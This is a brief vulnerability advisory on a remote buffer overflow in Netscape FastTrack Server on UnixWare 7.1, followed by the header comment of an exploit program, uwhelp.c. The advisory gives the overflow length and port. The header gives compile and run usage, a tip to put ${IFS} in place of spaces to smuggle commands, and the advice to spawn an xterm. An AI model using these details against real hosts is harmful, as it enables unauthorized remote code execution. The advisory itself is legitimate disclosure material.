Netscape FastTrack Server Remote Buffer Overflow

The version of Netscape FastTrack server that ships with UnixWare 7.1 is vulnerable to a remote buffer overlow. By default, the httpd listens on port 457 of the UnixWare host and serves documentation via http. If you pass the server a GET request with more than 367 characters, the stack overflows and the EIP is overwritten making it possible to execute arbitrary code with the privileges of the httpd (usually nobody).

Mitigation:

Upgrade to the latest version of Netscape FastTrack server.

/** uwhelp.c - remote exploit for UnixWare's Netscape FastTrack =

 **            2.01a scohelp http service
 **
 ** Runs the command of your choice with uid of the http daemon
 ** (probably nobody).  If there are spaces in your command, use
 ** ${IFS} instead of a space.  httpd handles execve's strangely,
 ** so your best bet is to just exec an xterm as I've done below.
 ** Obviously, change the command below to suit your needs.
 **
 ** Compile on UW7.1: cc -o uwhelp uwhelp.c -lnsl -lsocket
 ** run: ./uwhelp hostname <offset> <size>
